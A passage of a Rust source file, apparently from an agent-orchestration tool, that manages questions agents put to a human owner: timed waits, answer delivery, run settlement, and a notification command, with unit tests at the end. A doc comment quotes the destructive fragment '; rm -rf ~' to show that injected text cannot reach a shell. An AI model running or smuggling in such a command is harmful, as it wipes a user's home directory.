1753    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1754        let mut abandoned = 0;
1755        for mut q in self.open_for(run) {
1756            q.abandon(why);
1757            self.put(&mut q)?;
1758            abandoned += 1;
1759        }
1760        Ok(abandoned)
1761    }
1762
1763    /// Abandon a run's open questions once `status` says the run is not
1764    /// coming back, worded with what it actually became.
1765    ///
1766    /// The run-deleted case above and this one are the same fact - nobody is
1767    /// left to read an answer - reached by two different doors. This is the
1768    /// one for a run that finished on its own: merged, reached `Ready` with
1769    /// nothing left to do, failed outright with no established point to
1770    /// resume from, or every candidate agreed, with evidence, that nothing
1771    /// belonged in the worktree. Those are exactly the statuses
1772    /// [`RunStatus::resumable`]
1773    /// excludes, and that is the line this draws too - deliberately not
1774    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1775    /// over. Both of those can still be picked back up with the candidates,
1776    /// the review round and the seat sessions already on disk, so a question
1777    /// asked mid-round may yet get a real answer from a real resume, and
1778    /// folding it here would be exactly the mistake this function exists to
1779    /// avoid on the other side - answering back into a run that no longer
1780    /// exists to read it.
1781    ///
1782    /// A no-op, not an error, when `status` is still resumable or when there
1783    /// was nothing open to begin with - callers reach this from more than one
1784    /// place a run can settle, and a second call finding nothing left to
1785    /// abandon is the expected case, not a bug.
1786    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1787        if status.resumable() {
1788            return Ok(0);
1789        }
1790        let why = format!(
1791            "run {run} {}, so nothing is waiting for this answer",
1792            status.as_str()
1793        );
1794        // A post-merge notice is the exception: it is filed *because* the run
1795        // merged, and no agent waits on it - it is a to-do for the owner, not
1796        // a question a dead seat asked. Abandoning it here would erase the
1797        // only alert the moment the run settles.
1798        let mut abandoned = 0;
1799        for mut q in self.open_for(run) {
1800            if q.node == crate::bump::NOTICE_NODE {
1801                continue;
1802            }
1803            // A routed task decision not yet delivered is a pending message
1804            // for the chat, not a question the dead seat waits on; the
1805            // sweep retires it once it is queued.
1806            if q.routed_task.is_some() && q.routed_chat.is_none() {
1807                continue;
1808            }
1809            q.abandon(&why);
1810            self.put(&mut q)?;
1811            abandoned += 1;
1812        }
1813        Ok(abandoned)
1814    }
1815
1816    /// Expand an id prefix to exactly one question id. The short id the phone
1817    /// and the reports show is a suffix, so that is accepted too.
1818    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1819        use crate::queue::{Reference, record_ids, resolve_reference};
1820        let ids = record_ids(&self.root, "json")?;
1821        match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1822            Reference::Found(id) => Ok(id),
1823            Reference::Missing => bail!("no question matches `{prefix}`"),
1824            Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1825        }
1826    }
1827
1828    /// Newest modification time in the store, in milliseconds, for change
1829    /// detection. The web UI compares this instead of re-reading every
1830    /// question, so an idle phone on a slow link costs one `stat` per file.
1831    pub fn revision(&self) -> u64 {
1832        std::fs::read_dir(&self.root)
1833            .into_iter()
1834            .flatten()
1835            .flatten()
1836            .filter_map(|e| e.metadata().ok())
1837            .filter_map(|m| m.modified().ok())
1838            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1839            .map(|d| d.as_millis() as u64)
1840            .max()
1841            .unwrap_or(0)
1842    }
1843
1844    /// How many questions are open, whichever side of the conversation is
1845    /// holding the ball right now. Ten turns of back and forth between the
1846    /// owner and the agent are still one open question - see
1847    /// [`Question::say`] - so this does not drop while a reply is in
1848    /// flight. [`Self::count_needs_owner`] is the number that does.
1849    pub fn count_open(&self) -> usize {
1850        self.list().iter().filter(|q| q.status.open()).count()
1851    }
1852
1853    /// How many open questions actually need the owner right now: open, and
1854    /// not [`Question::waiting_on_agent`], or the follow-up is exhausted.
1855    ///
1856    /// This is the number a notification channel owes - the ask bar, the nav
1857    /// badge, the document title - because those exist to say "something
1858    /// needs you". An unread say stops needing the agent once its follow-up
1859    /// has spent its starts. `count_open` stays as it is for [`Self::open_for`]'s callers,
1860    /// where a round trip must not look like the run resumed.
1861    pub fn count_needs_owner(&self) -> usize {
1862        self.list()
1863            .iter()
1864            .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1865            .count()
1866    }
1867
1868    /// The follow-up spent its starts and its final turn is no longer alive.
1869    /// Computed from the lease rather than saved with the question, so the
1870    /// owner can decide even when an unread message remains in the thread.
1871    pub fn deputy_exhausted(&self, q: &Question) -> bool {
1872        q.status.open()
1873            && q.deputy
1874                .as_ref()
1875                .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1876            && !self
1877                .read_lease(&q.id)
1878                .is_some_and(|l| l.fresh(Timestamp::now()))
1879    }
1880}
1881
1882/// How a wait over [`Question`] ended.
1883#[derive(Debug, Clone, PartialEq, Eq)]
1884pub enum Wait {
1885    /// The owner decided. Carries [`Question::resolution`].
1886    Answered(String),
1887    /// The owner spoke back without deciding - see [`Question::say`]. The
1888    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1889    /// the caller's move is to hand this text to the agent and let it call
1890    /// `magi ask --thread` to keep talking, not to treat it as a decision.
1891    Replied(String),
1892    /// This call's [`WAIT_SLICE`] ran out with the question still
1893    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1894    /// going quiet, the clock on *this process* running out. The question is
1895    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1896    /// process, so the wait resumes before the shell tool that would have
1897    /// killed this one gets the chance.
1898    Pending,
1899    /// Nobody said anything before the deadline, or the question was closed
1900    /// out from under the wait with no decision recorded - a run deleted out
1901    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1902    /// now on disk.
1903    Abandoned,
1904}
1905
1906/// File a question and wait for the owner, polling the store.
1907///
1908/// The question is updated in place from disk whenever the wait ends, so the
1909/// caller can act on it without re-reading it. `timeout` is the question's
1910/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1911/// of it - see [`Wait::Pending`] for what happens to the rest.
1912pub async fn ask_and_wait(
1913    q: &mut Question,
1914    store: &Questions,
1915    notify: &config::Notify,
1916    timeout: Duration,
1917) -> Result<Wait> {
1918    wait_for_owner(q, store, notify, timeout, POLL).await
1919}
1920
1921/// Resume a wait already filed, without adding a turn or notifying again.
1922///
1923/// This is `magi ask --wait <id>`'s engine: the process that owned the
1924/// previous slice is dead (the tool that ran it killed it, or it simply
1925/// exited after reporting [`Wait::Pending`]), but the question on disk never
1926/// stopped being open, and the owner was already notified about it once. A
1927/// second notification for the same unanswered question would page the
1928/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1929/// unlike [`ask_and_wait`], this skips straight to polling.
1930///
1931/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1932/// caller computes it as what remains until [`Question::asked_at`] plus the
1933/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1934/// up the deadline the first ask set, never push it out further.
1935pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1936    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1937}
1938
1939/// [`ask_and_wait`] with the poll interval injected.
1940///
1941/// Separate only so the tests can drive a whole wait in milliseconds instead of
1942/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1943/// a knob the operator gets to tune.
1944async fn wait_for_owner(
1945    q: &mut Question,
1946    store: &Questions,
1947    cfg: &config::Notify,
1948    timeout: Duration,
1949    poll: Duration,
1950) -> Result<Wait> {
1951    // A question that is already on disk (a `--thread` reply just wrote it under
1952    // the lock) is left alone: this copy may predate an answer or say that
1953    // landed since, and writing it back would erase that.
1954    if !store.path_of(&q.id).is_file() {
1955        store.put(q).context("file the question")?;
1956    }
1957    if q.should_notify(Timestamp::now()) {
1958        if let Err(e) = notify(cfg, q).await {
1959            // A broken webhook is not a reason to throw away an implementation.
1960            // The question is already on disk and the web UI already shows it,
1961            // so the operator still has a way in; only the tap on the shoulder
1962            // is lost.
1963            tracing::warn!(
1964                "could not notify about question {}: {e:#} - the web UI is the \
1965                 only surface for it now",
1966                q.short()
1967            );
1968        }
1969    }
1970    tracing::info!(
1971        "question {} from {} is waiting for you: {}",
1972        q.short(),
1973        q.seat,
1974        q.summary
1975    );
1976    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1977}
1978
1979/// Take the wait as this process: beat the lease and note it on the record.
1980fn hold(store: &Questions, id: &str) {
1981    store.beat(id, WaiterKind::Asker);
1982    let took = store.update(id, |q| {
1983        if q.status.open() {
1984            q.waiter = Some(Waiter {
1985                kind: WaiterKind::Asker,
1986                since: Timestamp::now(),
1987            });
1988        }
1989        Ok(())
1990    });
1991    if let Err(e) = took {
1992        tracing::debug!("could not note the wait on question {id}: {e:#}");
1993    }
1994}
1995
1996/// Record the owner's `magi answer --reply` on question `id` (a full id) and
1997/// return what to print. The terminal's direct path and a chat turn's control
1998/// bridge ([`crate::chat_control::Operation::Answer`]) both land here, so a
1999/// chat answer is the same ordinary answer whatever the turn's sandbox.
2000///
2001/// A choice reply is resolved against the offered labels; a free-text question
2002/// takes the reply verbatim. `title` is the literal replacement for the posting
2003/// gate's `use my text` choice and is refused anywhere else. Side effects of
2004/// the answer itself (an obsolete approval's dismissal saving its run record)
2005/// happen in [`Questions::update`]; existing consumers act on the rest.
2006pub fn record_answer(
2007    store: &Questions,
2008    id: &str,
2009    reply: &str,
2010    title: Option<&str>,
2011) -> Result<String> {
2012    let (q, ()) = store.update(id, |r| {
2013        let answer = if r.free_text() {
2014            Answer::Text(reply.to_owned())
2015        } else {
2016            Answer::Choice(r.resolve_reply(reply)?.to_owned())
2017        };
2018        let replacement = r.node == crate::github_text::ASK_NODE
2019            && matches!(&answer, Answer::Choice(choice) if choice == crate::github_text::USE_MY_TEXT);
2020        if replacement {
2021            let title =
2022                title.context("use my text needs --title with the literal replacement title")?;
2023            if title.trim().is_empty() {
2024                bail!("replacement title must not be empty");
2025            }
2026            r.publication_title = Some(title.to_owned());
2027        } else if title.is_some() {
2028            bail!("--title is only valid for a publication decision's `use my text` choice");
2029        }
2030        r.answer(answer)
2031    })?;
2032    let mut out = format!("answered {} {}", q.short(), q.summary);
2033    let resolution = q.resolution();
2034    let approval = q.node == crate::land::APPROVAL_NODE;
2035    if approval && resolution.as_deref() == Some(crate::merge_decision::DISMISS) {
2036        out.push_str(
2037            "\nObsolete approval ended; its execution is retired, history retained and PR unchanged. No merge or replacement was authorized.",
2038        );
2039    }
2040    if approval
2041        && resolution.as_deref() != Some(crate::merge_decision::DISMISS)
2042        && resolution
2043            .as_deref()
2044            .is_some_and(crate::merge_decision::stops)
2045    {
2046        out.push_str(&format!(
2047            "\nDecision recorded; the existing owner must resume to apply it. This answer command has not closed a PR, dispatched replacement work or approved a merge. A running magi serve / magi web resumes the parked owner; otherwise use `magi run --resume {}`. Do not create another task.",
2048            q.run
2049        ));
2050    }
2051    if approval && resolution.as_deref() == Some(crate::land::REPAIR) {
2052        out.push_str(&format!(
2053            "\nRepair requested; this answer command has not started repair or approved a merge. \
2054             A running magi serve / magi web resumes the existing run. Without one, \
2055             run `magi run --resume {}` to start repair and re-review; do not create another task or run.",
2056            q.run
2057        ));
2058    }
2059    Ok(out)
2060}
2061
2062/// Record that the agent has read everything so far, so the daemon waiter does
2063/// not resume a session to tell it what was already printed.
2064///
2065/// Callers must invoke this only **after** the word reached the agent's stdout:
2066/// marking first would let a tool timeout kill the process between the mark
2067/// and the print, and the waiter would then consider a word delivered that no
2068/// agent ever saw.
2069pub fn hand_over(store: &Questions, q: &mut Question) {
2070    let done = store.update(&q.id, |r| {
2071        r.delivered_turns = r.delivered_turns.max(q.thread.len());
2072        if r.status == QuestionStatus::Answered {
2073            r.answer_delivered = true;
2074        }
2075        r.waiter = None;
2076        Ok(())
2077    });
2078    match done {
2079        Ok((fresh, ())) => *q = fresh,
2080        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
2081    }
2082}
2083
2084/// What the agent is shown for an answer: the owner's says it has not read
2085/// yet, in order, then the answer. With no such say it is `answer` itself,
2086/// byte for byte.
2087pub fn answer_for_agent(q: &Question, answer: &str) -> String {
2088    let says = q.undelivered_owner_turns();
2089    if says.is_empty() {
2090        return answer.to_owned();
2091    }
2092    format!(
2093        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
2094        says.join("\n\n")
2095    )
2096}
2097
2098/// Print an answer (with any unread says before it) to `out`, flush, and only
2099/// then record the hand-over. A failed write marks nothing delivered.
2100pub fn deliver_answer(
2101    store: &Questions,
2102    q: &mut Question,
2103    answer: &str,
2104    out: &mut impl std::io::Write,
2105) -> std::io::Result<()> {
2106    writeln!(out, "{}", answer_for_agent(q, answer))?;
2107    out.flush()?;
2108    hand_over(store, q);
2109    Ok(())
2110}
2111
2112/// The polling loop shared by a fresh wait and a resumed one.
2113///
2114/// `timeout` is the budget left before the question's `answer_timeout`
2115/// truly runs out; `slice` bounds how much of that this one call spends
2116/// before handing control back. Landing on `slice` while `timeout` still has
2117/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
2118/// silence. Landing on `timeout` itself - because it was no bigger than
2119/// `slice` to begin with - is the real thing, and abandons the question
2120/// exactly as a single unsliced wait always did.
2121async fn wait_loop(
2122    q: &mut Question,
2123    store: &Questions,
2124    timeout: Duration,
2125    slice: Duration,
2126    poll: Duration,
2127) -> Result<Wait> {
2128    // The owner may already have spoken back before this call ever started -
2129    // most often because they did so in the gap between an earlier call
2130    // reporting `Wait::Pending` and this one picking the wait back up with
2131    // `--wait`. That word must surface at once rather than sit unnoticed
2132    // until some *later* turn happens to change something: this call never
2133    // saw it get added, so nothing below would otherwise recognise it as
2134    // new. `last_word_awaiting_reply` reads the question's own record of
2135    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
2136    // turn count this call would have to have been there to capture.
2137    if let Some(said) = q.unread_from_owner() {
2138        return Ok(Wait::Replied(said));
2139    }
2140    hold(store, &q.id);
2141
2142    let bounded = timeout.min(slice);
2143    let is_the_real_deadline = bounded >= timeout;
2144    let deadline = tokio::time::Instant::now() + bounded;
2145    loop {
2146        let now = tokio::time::Instant::now();
2147        if now >= deadline {
2148            if !is_the_real_deadline {
2149                // The lease is left to age out on purpose: the caller is about
2150                // to run `magi ask --wait`, and that gap is what LEASE_TTL
2151                // covers.
2152                return Ok(Wait::Pending);
2153            }
2154            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
2155            // Re-checked on the record as it is now: the owner may have said
2156            // something in time since the last poll, and that word is handed
2157            // over, not abandoned.
2158            let (fresh, unread) = store
2159                .update(&q.id, |r| {
2160                    let unread = r.unread_from_owner();
2161                    if unread.is_none() {
2162                        r.abandon(&why);
2163                        r.waiter = None;
2164                    }
2165                    Ok(unread)
2166                })
2167                .context("record the abandoned question")?;
2168            *q = fresh;
2169            if let Some(said) = unread {
2170                return Ok(Wait::Replied(said));
2171            }
2172            tracing::warn!(
2173                "question {} went unanswered for {}s; the run parks and the \
2174                 question stays as the record of it",
2175                q.short(),
2176                timeout.as_secs()
2177            );
2178            return Ok(Wait::Abandoned);
2179        }
2180        tokio::time::sleep(poll.min(deadline - now)).await;
2181        store.beat(&q.id, WaiterKind::Asker);
2182        match store.get(&q.id) {
2183            Ok(fresh) if !fresh.status.open() => {
2184                // Whoever answered - the phone, `magi answer`, another daemon -
2185                // owns the record now, so adopt theirs wholesale rather than
2186                // merging into a copy that predates it.
2187                *q = fresh;
2188                return Ok(match q.resolution() {
2189                    Some(a) => Wait::Answered(a),
2190                    // Closed with no decision - abandoned elsewhere, most
2191                    // often by the run behind it being deleted mid-wait.
2192                    None => Wait::Abandoned,
2193                });
2194            }
2195            Ok(fresh) => {
2196                if let Some(said) = fresh.unread_from_owner() {
2197                    *q = fresh;
2198                    return Ok(Wait::Replied(said));
2199                }
2200                // Still open and not waiting on the agent - nothing this
2201                // wait cares about happened, so keep polling.
2202            }
2203            Err(e) => {
2204                // Mid-rename, or a file the operator is editing by hand.
2205                // Neither is a reason to abandon a question a human may still
2206                // answer, so keep polling until the deadline decides.
2207                tracing::debug!("could not re-read question {}: {e:#}", q.short());
2208            }
2209        }
2210    }
2211}
2212
2213/// Run the operator's notification command, if one is configured.
2214///
2215/// The command is argv, never a shell string, and the substitutions below are a
2216/// single pass over each argument: a summary containing `; rm -rf ~` is one
2217/// argument to one program, and a summary containing the characters `{run}` is
2218/// not re-expanded. That property is the reason agent-authored text can be put
2219/// in a notification at all.
2220///
2221/// An error here is reported, not swallowed, so `magi notify --test` can show
2222/// the operator why nothing arrives. The waiting path logs it and carries on.
2223pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2224    if q.routed_task.is_some() {
2225        return Ok(());
2226    }
2227    let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2228    if q.status.open() {
2229        summary.push_str(&format!(
2230            " Respond in Questions or with `magi answer {}`.",
2231            q.id
2232        ));
2233    }
2234    let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2235    notify_at(cmd, &q.run, &summary, &url).await
2236}
2237
2238/// [`notify`] for an event that is not a question: the same command, the same
2239/// placeholders, with `summary` and `run` supplied directly.
2240pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2241    let url = view_url(
2242        &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2243        "notifications",
2244    );
2245    notify_at(cmd, run, summary, &url).await
2246}
2247
2248async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2249    let Some((program, args)) = cmd.command.split_first() else {
2250        // No command configured: the web UI is the only surface, by choice.
2251        return Ok(());
2252    };
2253    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2254        tracing::warn!(
2255            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2256             so the link will be empty - export it next to `magi serve` with \
2257             the address `magi web --open` printed"
2258        );
2259    }
2260    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2261    tracing::debug!(program = %program, args = ?argv, "notifying");
2262
2263    let mut child = tokio::process::Command::new(program);
2264    child.quiet();
2265    child
2266        .args(&argv)
2267        .stdin(std::process::Stdio::null())
2268        // Killed if the timeout below drops this future: a notification
2269        // command left running would outlive the run it was announcing.
2270        .kill_on_drop(true);
2271    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2272        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2273        Err(_) => bail!(
2274            "notification command `{program}` did not finish within {}s",
2275            NOTIFY_TIMEOUT.as_secs()
2276        ),
2277    };
2278    if !out.status.success() {
2279        let stderr = String::from_utf8_lossy(&out.stderr);
2280        let why = stderr
2281            .lines()
2282            .rev()
2283            .find(|l| !l.trim().is_empty())
2284            .unwrap_or("no output on stderr")
2285            .trim();
2286        bail!(
2287            "notification command `{program}` exited with {}: {why}",
2288            out.status
2289        );
2290    }
2291    Ok(())
2292}
2293
2294/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
2295///
2296/// One left-to-right pass, so a substituted value is never scanned for further
2297/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
2298/// in a question must not make the notification recursive.
2299fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2300    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2301    let mut out = String::with_capacity(template.len());
2302    let mut rest = template;
2303    while let Some(at) = rest.find('{') {
2304        out.push_str(&rest[..at]);
2305        let tail = &rest[at..];
2306        match table.iter().find(|(token, _)| tail.starts_with(token)) {
2307            Some((token, value)) => {
2308                out.push_str(value);
2309                rest = &tail[token.len()..];
2310            }
2311            None => {
2312                // Not a placeholder magi knows: it is the operator's own text.
2313                out.push('{');
2314                rest = &tail[1..];
2315            }
2316        }
2317    }
2318    out.push_str(rest);
2319    out
2320}
2321
2322/// Point a configured base URL at the view that can answer the question.
2323///
2324/// A notification the operator has to navigate from is a question that stays
2325/// unanswered until morning, so the questions view is appended - unless the
2326/// operator already wrote a fragment, in which case they have said where they
2327/// want to land and magi does not know better.
2328fn question_url(base: &str) -> String {
2329    view_url(base, "questions")
2330}
2331
2332fn view_url(base: &str, view: &str) -> String {
2333    let base = base.trim().trim_end_matches('/');
2334    if base.is_empty() || base.contains('#') {
2335        return base.to_owned();
2336    }
2337    format!("{base}/#/{view}")
2338}
2339
2340/// Assemble a panel's contents in an already-empty directory.
2341///
2342/// Split out so [`Questions::put_panel`] can delete the whole directory on the
2343/// first error without an early `return` skipping that cleanup.
2344fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2345    let index = dir.join(PANEL_HTML);
2346    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2347    for (name, src) in assets {
2348        let dst = dir.join(name);
2349        std::fs::copy(src, &dst)
2350            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2351    }
2352    Ok(())
2353}
2354
2355/// Remove a directory and everything under it, treating "not there" as done.
2356///
2357/// A panel is replaced wholesale and dropped idempotently, and in both cases
2358/// the absence of the directory is the desired end state, not an error.
2359fn clear_dir(path: &Path) -> Result<()> {
2360    match std::fs::remove_dir_all(path) {
2361        Ok(()) => Ok(()),
2362        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2363        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2364    }
2365}
2366
2367fn read_path(path: &Path) -> Result<Question> {
2368    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2369    let q: Question =
2370        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2371    if q.schema > SCHEMA {
2372        // Strictly newer, not merely different: every field added since
2373        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
2374        // here as "no thread yet" rather than as garbage. Only a schema this
2375        // build has never heard of is refused.
2376        bail!(
2377            "question {} was written by a newer magi (schema {}, this build \
2378             only speaks up to {SCHEMA})",
2379            q.id,
2380            q.schema
2381        );
2382    }
2383    Ok(q)
2384}
2385
2386/// [`short`] for callers outside this module (a run id shortens the same way).
2387pub fn short_id(id: &str) -> &str {
2388    short(id)
2389}
2390
2391fn short(id: &str) -> &str {
2392    id.split('-').next_back().unwrap_or(id)
2393}
2394
2395fn new_id() -> String {
2396    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2397    new_id_at(&stamp.to_string(), crate::rng::entropy())
2398}
2399
2400fn new_id_at(stamp: &str, seed: u64) -> String {
2401    // Questions can be created concurrently in one shared store. A 16-bit
2402    // suffix is only a display label, not enough identity to keep distinct
2403    // questions (and their panel scratch directories) from overwriting each
2404    // other. The counter also separates calls with identical clock entropy.
2405    static NEXT: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
2406    let sequence = NEXT.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
2407    format!(
2408        "{stamp}-{seed:016x}-{sequence:016x}-{:04x}",
2409        (seed ^ (seed >> 32)) & 0xffff
2410    )
2411}
2412
2413#[cfg(test)]
2414mod tests {
2415    use super::*;
2416
2417    /// A store of its own, with no process-global state - which is the point of
2418    /// `Questions::at`, and why these can run in parallel.
2419    fn store() -> (tempfile::TempDir, Questions) {
2420        let dir = tempfile::tempdir().unwrap();
2421        let s = Questions::at(dir.path().join("questions"));
2422        (dir, s)
2423    }
2424
2425    #[test]
2426    fn run_names_task_only_for_task_questions() {
2427        for (node, want) in [
2428            (crate::conduct::NODE, true),
2429            (crate::triage::NODE, true),
2430            (crate::triage::DEPS_NODE, true),
2431            (crate::land::APPROVAL_NODE, false),
2432            (crate::bump::NOTICE_NODE, false),
2433            ("implement", false),
2434        ] {
2435            let mut q = choice_question();
2436            q.node = node.to_owned();
2437            assert_eq!(q.run_names_task(), want, "{node}");
2438        }
2439    }
2440
2441    #[test]
2442    fn deleting_a_run_stops_its_questions_asking() {
2443        let (_dir, store) = store();
2444
2445        let mut open_one = choice_question();
2446        store.put(&mut open_one).unwrap();
2447        let mut answered = free_question();
2448        answered
2449            .answer(Answer::Text("keep this".to_owned()))
2450            .unwrap();
2451        store.put(&mut answered).unwrap();
2452        let mut elsewhere = choice_question();
2453        elsewhere.run = "20260903-105039-3cbf".to_owned();
2454        store.put(&mut elsewhere).unwrap();
2455
2456        let n = store
2457            .abandon_for_run(&open_one.run, "run was deleted")
2458            .unwrap();
2459        assert_eq!(n, 1, "only the open question of that run");
2460
2461        let back = store.get(&open_one.id).unwrap();
2462        assert!(!back.status.open(), "it no longer asks for a decision");
2463        assert!(
2464            back.detail.contains("run was deleted"),
2465            "the operator can see why: {}",
2466            back.detail
2467        );
2468
2469        let kept = store.get(&answered.id).unwrap();
2470        assert_eq!(
2471            kept.status,
2472            QuestionStatus::Answered,
2473            "an answered question is a decision on record, not something to revoke"
2474        );
2475        assert!(
2476            store.get(&elsewhere.id).unwrap().status.open(),
2477            "another run's question is untouched"
2478        );
2479        assert!(store.open_for(&open_one.run).is_empty());
2480    }
2481
2482    #[test]
2483    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2484        let (_dir, store) = store();
2485        let mut q = choice_question();
2486        store.put(&mut q).unwrap();
2487
2488        // `Blocked` can still be resumed - leave it exactly as it was.
2489        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2490        assert_eq!(n, 0);
2491        assert!(store.get(&q.id).unwrap().status.open());
2492
2493        // `Failed` is not - abandon it, with the run and its fate in the
2494        // reason so the owner can tell what happened without a run to read.
2495        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2496        assert_eq!(n, 1);
2497        let back = store.get(&q.id).unwrap();
2498        assert!(!back.status.open());
2499        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2500
2501        // A second call against the same, now-settled run finds nothing left.
2502        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2503    }
2504
2505    #[test]
2506    fn settle_run_keeps_an_undelivered_routed_decision() {
2507        let (_dir, store) = store();
2508        let mut q = choice_question();
2509        q.routed_task = Some("task".into());
2510        store.put(&mut q).unwrap();
2511        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2512        assert!(store.get(&q.id).unwrap().status.open());
2513
2514        // Once the chat has it, the ordinary settlement applies again.
2515        store
2516            .update(&q.id, |r| {
2517                r.routed_chat = Some("chat".into());
2518                Ok(())
2519            })
2520            .unwrap();
2521        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 1);
2522    }
2523
2524    fn choice_question() -> Question {
2525        Question::new(
2526            "20260902-201256-9fb7".to_owned(),
2527            "implement".to_owned(),
2528            "impl-A".to_owned(),
2529            "Which storage backend should the cache use?".to_owned(),
2530            "Both are already dependencies.".to_owned(),
2531            vec!["SQLite".to_owned(), "Redis".to_owned()],
2532        )
2533    }
2534
2535    fn free_question() -> Question {
2536        Question::new(
2537            "20260902-201256-9fb7".to_owned(),
2538            "review".to_owned(),
2539            "rev-1".to_owned(),
2540            "What should the error message say?".to_owned(),
2541            String::new(),
2542            Vec::new(),
2543        )
2544    }
2545
2546    /// No notification, which is the default and what most of these want.
2547    fn quiet() -> config::Notify {
2548        config::Notify::default()
2549    }
2550
2551    #[test]
2552    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2553        // The front end parses these names by hand; there is no shared schema
2554        // and no compiler between the two. A rename here is a UI that shows an
2555        // empty card and reports no error, so the names are asserted literally.
2556        let mut q = choice_question();
2557        q.id = "20260902-231501-ab12".to_owned();
2558        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2559        // `serde_json::Value` holds an object's keys sorted, and key order
2560        // means nothing to a JSON reader anyway: the field *set* is what the
2561        // front end was written against, so that is what is pinned here.
2562        let keys: Vec<&str> = open
2563            .as_object()
2564            .unwrap()
2565            .keys()
2566            .map(String::as_str)
2567            .collect();
2568        assert_eq!(
2569            keys,
2570            [
2571                "actions",
2572                "answer",
2573                "answer_delivered",
2574                "answer_timeout",
2575                "answered_at",
2576                "asked_at",
2577                "assets",
2578                "choices",
2579                "consult",
2580                "cwd",
2581                "decision_context",
2582                "delivered_turns",
2583                "deputy",
2584                "detail",
2585                "id",
2586                "merge_target",
2587                "node",
2588                "panel",
2589                "routed_chat",
2590                "routed_task",
2591                "run",
2592                "schema",
2593                "seat",
2594                "status",
2595                "summary",
2596                "thread",
2597                "triage_generation",
2598                "waiter",
2599            ],
2600            "the on-disk field set is a contract with the front end"
2601        );
2602        assert_eq!(open["schema"], 13);
2603        assert_eq!(open["merge_target"], serde_json::Value::Null);
2604        assert_eq!(open["triage_generation"], serde_json::Value::Null);
2605        assert_eq!(open["thread"], serde_json::json!([]));
2606        assert_eq!(open["id"], "20260902-231501-ab12");
2607        assert_eq!(open["run"], "20260902-201256-9fb7");
2608        assert_eq!(open["node"], "implement");
2609        assert_eq!(open["seat"], "impl-A");
2610        assert_eq!(open["status"], "open");
2611        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2612        assert_eq!(open["answered_at"], serde_json::Value::Null);
2613        assert_eq!(open["answer"], serde_json::Value::Null);
2614        let asked = open["asked_at"].as_str().unwrap();
2615        assert!(
2616            asked.ends_with('Z') && asked.contains('T'),
2617            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2618        );
2619
2620        // A chosen option, exactly as the contract spells it.
2621        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2622        let answered = serde_json::to_value(&q).unwrap();
2623        assert_eq!(answered["status"], "answered");
2624        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2625        assert!(answered["answered_at"].is_string());
2626
2627        // And free text, which is the other of the two forms.
2628        let mut free = free_question();
2629        free.answer(Answer::Text("Say which file it was".to_owned()))
2630            .unwrap();
2631        assert_eq!(
